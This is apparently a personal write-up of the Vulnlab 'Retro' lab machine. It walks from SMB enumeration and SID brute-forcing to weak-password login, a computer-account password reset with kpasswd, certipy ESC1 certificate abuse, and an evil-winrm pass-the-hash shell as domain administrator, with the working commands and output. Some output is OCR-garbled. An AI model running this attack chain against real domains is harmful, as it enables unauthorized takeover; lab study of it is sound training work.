# Retro - Vulnlab.com

Machine Name	Difficulty	Date Started	Date Completed
Retro	Easy	16/12/2024	19/12/2024

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## **Learning Points:**

- Don't always stick to one tool (e.g., <a href="mailto:smbmap">smbmap</a> didn't output anything, but <a href="mailto:smbclient">smbclient</a> worked).
- Learned that we can use <u>impacket-lookupsid</u> to brute force SIDs and gather usernames.
- Use the password as the username as well before attempting brute force.
- If you encounter a <a href="mailto:STATUS\_NOLOGON\_WORKSTATION\_TRUST\_ACCOUNT">STATUS\_NOLOGON\_WORKSTATION\_TRUST\_ACCOUNT</a> error and it's a precreated computer account, use <a href="mailto:kpasswd">kpasswd</a> to reset it and proceed.
- We can use tools like **certipy** or **certipy-ad** for ADCS attacks, such as finding vulnerable templates and exploiting them **when we have a valid credential pair**.

#### Attack Path:

- Conducted Nmap scans (full port, full script, and UDP) to discover open services.
- Used <a href="mailto:smbclient">smbclient</a> to enumerate SMB shares and identified the <a href="mailto:Trainees">Trainees</a> share.
- Found and downloaded Important.txt from the Trainees share.
- Discovered the trainee user's password was the same as the username using crackmapexec.
- Logged into the notes SMB share with the trainee credentials and downloaded Todo.txt.
- Identified pre-created computer accounts and confirmed valid credentials.
- Used AD CS tool **certipy** to exploit a vulnerable template (ESC1) and obtain the administrator certificate.
- Extracted the administrator's hash using the certificate and used <a href="evil-winrm">evil-winrm</a> with pass-the-hash to gain root access.

## **Activity Log:**

- Started conducting full Nmap port scans, full script scans, and UDP scans.
- Used smbmap to enumerate SMB shares available using a null session but didn't find anything.
- Used smbclient to list shares.
- Enumerated the Trainees share and found an Important.txt file, which was downloaded to Falcon.
- Performed a brute-force attack on the trainee user using crackmapexec.
- Found that the password for the user trainee was the same as the username.
- Logged into the **notes** SMB share and found a new **Todo.txt** file, which was also downloaded to Falcon.
- Discovered pre-created computer accounts.
- Used crackmapexec with the username BANKING\$ and the password banking, resulting in a STATUS\_NOLOGON\_WORKSTATION\_TRUST\_ACCOUNT error.
- Attempted to brute-force the users' passwords using crackmapexec but failed.
- Tried using kpasswd to change the password of the user BANKING\$ but failed.
- Reset the machine.
- After resetting the machine and trying again, it worked (likely because the account was locked due to previous brute-force attempts).
- Confirmed that the password was changed using crackmapexec.
- Saw a hint from a writeup to check AD CS and referred to the <u>AD-Attack-Mindmap</u> in the "Valid Credentials" section for the relevant commands.
- The first attempt to get the administrator certificate failed due to a size issue.
- The second attempt succeeded, and the administrator certificate was obtained, allowing the request of the administrator's hash.
- Used evil-winrm with pass-the-hash to gain access and retrieve the root flag.

# **Enumeration**

Nmap full port scan:

```
# Nmap 7.94SVN scan initiated Sun Dec 15 14:18:23 2024 as: nmap -sC -sV -
oA nmap_all -Pn -p- 10.10.66.32
Nmap scan report for 10.10.66.32
Host is up (0.19s latency).
Not shown: 65513 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time:
```

```
2024-12-15 19:24:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap
                      Microsoft Windows Active Directory LDAP
(Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-12-15T19:05:19
| Not valid after: 2025-12-15T19:05:19
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
(Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-12-15T19:05:19
|_Not valid after: 2025-12-15T19:05:19
|_ssl-date: TLS randomness does not represent time
3268/tcp open ldap Microsoft Windows Active Directory LDAP
(Domain: retro.vl0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-12-15T19:05:19
|_Not valid after: 2025-12-15T19:05:19
|_ssl-date: TLS randomness does not represent time
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP
(Domain: retro.vl0., Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=DC.retro.vl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::
<unsupported>, DNS:DC.retro.vl
| Not valid before: 2024-12-15T19:05:19
|_Not valid after: 2025-12-15T19:05:19
3389/tcp open ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2024-12-15T19:25:56+00:00; -2s from scanner time.
| ssl-cert: Subject: commonName=DC.retro.vl
| Not valid before: 2024-12-14T19:14:04
|_Not valid after: 2025-06-15T19:14:04
```

```
| rdp-ntlm-info:
   Target_Name: RETRO
   NetBIOS_Domain_Name: RETRO
   NetBIOS_Computer_Name: DC
   DNS_Domain_Name: retro.vl
   DNS_Computer_Name: DC.retro.vl
   DNS_Tree_Name: retro.vl
   Product_Version: 10.0.20348
__ System_Time: 2024-12-15T19:25:17+00:00
9389/tcp open mc-nmf
                            .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc
                           Microsoft Windows RPC
49669/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
                          Microsoft Windows RPC
49672/tcp open msrpc
49675/tcp open msrpc
                           Microsoft Windows RPC
49684/tcp open msrpc
                          Microsoft Windows RPC
                           Microsoft Windows RPC
49702/tcp open msrpc
49706/tcp open msrpc Microsoft Windows RPC
49719/tcp open msrpc
                           Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
   3:1:1:
     Message signing enabled and required
|_clock-skew: mean: -1s, deviation: 0s, median: -2s
| smb2-time:
 date: 2024-12-15T19:25:19
|_ start_date: N/A
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Sun Dec 15 14:26:01 2024 -- 1 IP address (1 host up)
scanned in 457.33 seconds
```

## Nmap full udp port scan :

```
# Nmap 7.94SVN scan initiated Sun Dec 15 14:36:54 2024 as: nmap -sU -oA nmap_udp_full -p53,88,123,389 -sC -sV 10.10.66.32
Nmap scan report for retro.vl (10.10.66.32)
Host is up (0.19s latency).

PORT STATE SERVICE VERSION
```

```
53/udp open domain (generic dns response: SERVFAIL)
| fingerprint-strings:
   NBTStat:
     CKAAAAAAAAAAAAAAAAAAAAAAAAAA
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-
12-15 19:36:53Z)
123/udp open ntp
                         NTP v3
| ntp-info:
1_
389/udp open ldap Microsoft Windows Active Directory LDAP
(Domain: retro.vl0., Site: Default-First-Site-Name)
1 service unrecognized despite returning data. If you know the
service/version, please submit the following fingerprint at
https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-UDP:V=7.94SVN%I=7%D=12/15%Time=675F2FEC%P=aarch64-unknown-linux-
SF:gnu%r(NBTStat,32,"\x80\xf0\x80\x82\0\x01\0\0\0\0\0\0\x20CKAAAAAAAAAAAAAA
SF:AAAAAAAAAAAAAAA\0\0!\0\x01");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 5s
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
# Nmap done at Sun Dec 15 14:37:33 2024 -- 1 IP address (1 host up)
scanned in 38.84 seconds
```

Enumerated SMB shares using smbmap but found nothing.

```
-$ smbmap -H 10.10.66.32
        Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                    https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[*] Closed 1 connections
__$ smbmap -H 10.10.66.32 -u 'a' -p ''
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                    https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
   Established 1 SMB connections(s) and 0 authenticated session(s)
[*] Closed 1 connections
_$ smbmap -H 10.10.66.32 -u '' -p ''
SMBMap - Samba Share Enumerator v1.10.4 | Shawn Evans - ShawnDEvans@gmail.com<mailto:ShawnDEvans@gmail.com>
                    https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[*] Closed 1 connections
```

Using smbclient provided us with some shares to enumerate.

```
(destiny@falcon)-[~]
—$ smbclient −L //10.10.66.32
Password for [WORKGROUP\destiny]:
        Sharename
                                   Comment
                        Type
        ADMIN$
                        Disk
                                   Remote Admin
        C$
                        Disk
                                   Default share
                                   Remote IPC
        IPC$
                        IPC
        NETLOGON
                        Disk
                                   Logon server share
        Notes
                        Disk
```

```
SYSVOL Disk Logon server share
Trainees Disk

Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.10.66.32 failed (Error

NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
```

We used <u>crackmapexec</u> and confirmed that we had read-only access to the <u>trainees</u> share.

```
crackmapexec smb 10.10.66.32 -u "a" -p "" --shares
```

We found an Important.txt file inside the Trainees share.

```
☐ (destiny®falcon)-[~/Vulnlab/Machines/Retro/smb]
☐ s cat Important.txt
Dear Trainees,

I know that some of you seemed to struggle with remembering strong and unique passwords.

So we decided to bundle every one of you up into one account.

Stop bothering us. Please. We have other stuff to do than resetting your password every day.
```

Regards

The Admins

We used <u>impacket-lookupsid</u> and discovered the usernames of the machines through SID brute-forcing.

```
___(destiny®falcon)-[~]
$\timpacket-lookupsid anonymous@10.10.66.32 -no-pass
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[*] Brute forcing SIDs at 10.10.66.32
[*] StringBinding ncacn_np:10.10.66.32[\pipe\lsarpc]
* Domain SID is: S-1-5-21-2983547755-698260136-4283918172
498: RETRO\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: RETRO\Administrator (SidTypeUser)
501: RETRO\Guest (SidTypeUser)
502: RETRO\krbtgt (SidTypeUser)
512: RETRO\Domain Admins (SidTypeGroup)
513: RETRO\Domain Users (SidTypeGroup)
514: RETRO\Domain Guests (SidTypeGroup)
515: RETRO\Domain Computers (SidTypeGroup)
516: RETRO\Domain Controllers (SidTypeGroup)
517: RETRO\Cert Publishers (SidTypeAlias)
518: RETRO\Schema Admins (SidTypeGroup)
519: RETRO\Enterprise Admins (SidTypeGroup)
520: RETRO\Group Policy Creator Owners (SidTypeGroup)
521: RETRO\Read-only Domain Controllers (SidTypeGroup)
522: RETRO\Cloneable Domain Controllers (SidTypeGroup)
525: RETRO\Protected Users (SidTypeGroup)
526: RETRO\Key Admins (SidTypeGroup)
527: RETRO\Enterprise Key Admins (SidTypeGroup)
553: RETRO\RAS and IAS Servers (SidTypeAlias)
571: RETRO\Allowed RODC Password Replication Group (SidTypeAlias)
572: RETRO\Denied RODC Password Replication Group (SidTypeAlias)
1000: RETRO\DC$ (SidTypeUser)
1101: RETRO\DnsAdmins (SidTypeAlias)
1102: RETRO\DnsUpdateProxy (SidTypeGroup)
1104: RETRO\trainee (SidTypeUser)
1106: RETRO\BANKING$ (SidTypeUser)
1107: RETRO\jburley (SidTypeUser)
```

```
1108: RETRO\HelpDesk (SidTypeGroup)
1109: RETRO\tblack (SidTypeUser)
```

### Cleaned command:

We performed an SMB brute-force attack for the user trainee using crackmapexec and confirmed the credentials.

We checked the shares again using the user credentials and found that we now had access to multiple new shares.

```
r—(destiny®falcon)-[~]
└─$ crackmapexec smb 10.10.66.32 -u "trainee" -p "trainee" --shares
```

Found a new note on the Notes share after logging into the SMB server.

```
(destiny®falcon)-[~/Vulnlab/Machines/Retro/smb]

$\_$ \smbclient -U \trainee '//10.10.66.32/Notes'

Password for [WORKGROUP\trainee]:

Try "help" to get a list of possible commands.

smb: \> ls

D
Sun Jul 23 18:03:16 2023

DHS
Wed Jul 26 05:54:14 2023

ToDo.txt
A 248 Sun Jul 23 18:05:56 2023
```

```
(destiny@falcon)-[~/Vulnlab/Machines/Retro/smb]
_$ cat ToDo.txt
Thomas,

after convincing the finance department to get rid of their ancienct
banking software
it is finally time to clean up the mess they made. We should start with
the pre created
computer account. That one is older than me.
Best
James
```

Since we saw the note 'pre-created computer account,' we used <a href="crackmapexec">crackmapexec</a> to verify if the username was the password itself.

The password for this account is the same as the username. When trying to log in, it will show STATUS\_NOLOGON\_WORKSTATION\_TRUST\_ACCOUNT.

To use this account, we need to change the password of the user **BANKING\$** using the **kpasswd** tool. Before using it, we must edit the **/etc/krb.conf** file by adding the following configuration.

```
[libdefaults]
   default_realm = RETRO.VL
   dns_lookup_realm = false
   ticket_lifetime = 24h
   renew_lifetime = 7d
   rdns = false
   kdc_timesync = 1
   ccache_type = 4
   forwardable = true
   proxiable = true
[realms]
   RETRO.VL = {
       kdc = DC.RETRO.VL
       admin_server = DC.RETRO.VL
   }
[domain_realm]
   .retro.vl = RETRO.VL
   retro.vl = RETRO.VL
```

We got the below error:

```
___(destiny@falcon)-[~/Vulnlab/Machines/Retro]

_$ kpasswd BANKING$

Password for BANKING$@RETRO.VL:

kpasswd: Preauthentication failed getting initial ticket
```

After resetting the machine and trying again, it worked.

We confirmed that the password was changed using crackmapexec.

```
(destiny%falcon)-[~/Vulnlab/Machines/Retro]

$\_\$ crackmapexec smb retro.vl -u BANKING$ -p password

SMB retro.vl 445 DC [*] Windows Server

2022 Build 20348 x64 (name:DC) (domain:retro.vl) (signing:True)

(SMBv1:False)

SMB retro.vl 445 DC [+]

retro.vl\BANKING$:password
```

Saw a hint from a writeup to check AD CS, so we retrieved the command from the <u>AD-Attack-Mindmap</u> while reviewing the <u>valid credentials</u> obtained section.



# Doing the exact command as above failed:

```
____(destiny®falcon)-[~/Vulnlab/Machines/Retro/ADCS]

_$ certipy-ad find -u BANKING$@RETRO.VL -p password -dc-ip 10.10.126.241

Certipy v4.8.2 - by Oliver Lyak (ly4k)

[-] Got error: Failed to bind to LDAP. This is most likely because of an invalid username specified for logon
[-] Use -debug to print a stacktrace
.

Exception: Failed to bind to LDAP. This is most likely because of an invalid username specified for logon
```

### Corrected command with usernames inside quotes

```
[!] Got error while trying to get CA configuration for 'retro-DC-CA' via
CSRA: CASessionError: code: 0x80070005 - E_ACCESSDENIED - General access
denied error.
[*] Trying to get CA configuration for 'retro-DC-CA' via RRP
[*] Got CA configuration for 'retro-DC-CA'
[*] Saved BloodHound data to '20241219001119_Certipy.zip'. Drag and drop
the file into the BloodHound GUI from @ly4k
[*] Saved text output to '20241219001119_Certipy.txt'
[*] Saved JSON output to '20241219001119_Certipy.json'
```

We used certipy to check vulneable certificates and was able to see that the certicifiacte template RetroClients is vulnearbal to an ESC1 attack:

```
(destiny@falcon)-[~/.../Machines/Retro/ADCS/vulnerable]

$\scrtipy-ad find -u 'BANKING$'@RETRO.VL -p password -dc-ip

10.10.126.241 -stdout -vulnerable
```

```
ertificate Templates
      Template Name
                                                                                          RetroClients
      Display Name
Certificate Authorities
                                                                                         Retro Clients
retro-DC-CA
      Enabled
                                                                                          True
                                                                                         True
False
False
True
EnrolleeSuppliesSubject
      Client Authentication
Enrollment Agent
     Enrollment Agent
Any Purpose
Enrollee Supplies Subject
Certificate Name Flag
Enrollment Flag
Private Key Flag
Extended Key Usage
Requires Manager Approval
Requires Key Archival
Authorized Signatures Required
Validity Period
Renewal Period
Minimum RSA Key Length
Permissions
Enrollment Permissions
Enrollment Rights
                                                                                         None
16842752
                                                                                     : Client Authentication
: False
: False
                                                                                   : RETRO.VL\Domain Admins
RETRO.VL\Domain Computers
RETRO.VL\Enterprise Admins
              Enrollment Rights
                                                                                    : RETRO.VL\Administrator
              Owner
Write Owner Principals
                                                                                         RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
                                                                                    RETRO.VL\Administrator
: RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
                                                                                          RETRO.VL\Administrator
                                                                                   : RETRO.VL\Domain Admins
RETRO.VL\Enterprise Admins
RETRO.VL\Administrator
     [!] Vulnerabilities
ESC1
```

Tried the attack from this article.

#### ESC1 - Linux - Machine Account

If a template has enrollment rights for domain computers, a machine account can be used to request a certificate to perform the attack. This requires having a hash or password value for a machine account or if the domains machine account quota is greater than zero, adding a new machine ourselves to complete the attack.

```
# Syntax
certipy req -u <Computer$> -p <Password> -dc-ip <DC-IP> -ca <CA> -template
<Template> -upn <User> -target <CA-IP>
```

```
# Example
certipy req -u EvilComputer$ -p Password123! -dc-ip 10.10.10.100 -ca
Security-SRV2019-CA -template ESC1 -upn administrator -target 10.10.10.14
```

Failed to obtain the certificate as the size was too low.

```
(destiny@falcon)-[~/.../Machines/Retro/ADCS/vulnerable]
s certipy-ad req -u 'BANKING$' -p password -dc-ip 10.10.126.241 -ca
retro-DC-CA -template RetroClients -upn administrator -target
10.10.126.241
Certipy v4.8.2 - by Oliver Lyak (ly4k)
/usr/lib/python3/dist-packages/certipy/commands/req.py:459: SyntaxWarning:
invalid escape sequence '\('
 "(0x[a-zA-Z0-9]+) \setminus ([-]?[0-9]+",
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094811 -
CERTSRV_E_KEY_LENGTH - The public key does not meet the minimum size
required by the specified certificate template.
[*] Request ID is 8
Would you like to save the private key? (y/N) y
[*] Saved private key to 8.key
[-] Failed to request certificate
```

We increased the key size and were able to obtain the administrator's certificate.

```
[*] Saved certificate and private key to 'administrator.pfx'
```

We were able to request the administrator's hash using the certificate, performed a passthe-hash attack, logged into the machine, and obtained the root flag.

```
(destiny@falcon)-[~/.../Machines/Retro/ADCS/vulnerable]
└$ certipy-ad auth -pfx 'administrator.pfx' -username 'administrator' -
domain 'retro.vl' -dc-ip 10.10.126.241
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@retro.vl
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@retro.vl':
aad3b435b5<SNIP>3b435b51404ee:252fac70<SNIP>dd009d4fd2cd0368389
(destiny@falcon)-[~/.../Machines/Retro/ADCS/vulnerable]
└$ evil-winrm -i retro.vl -u administrator -H
252fac70<SNIP>dd009d4fd2cd0368389
Evil-WinRM shell v3.5
Warning: Remote path completions is disabled due to ruby limitation:
quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub:
https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
    Directory: C:\Users\Administrator\Desktop
Mode
                    LastWriteTime
                                          Length Name
```

---- 7/25/2023 12:38 PM 36 root.txt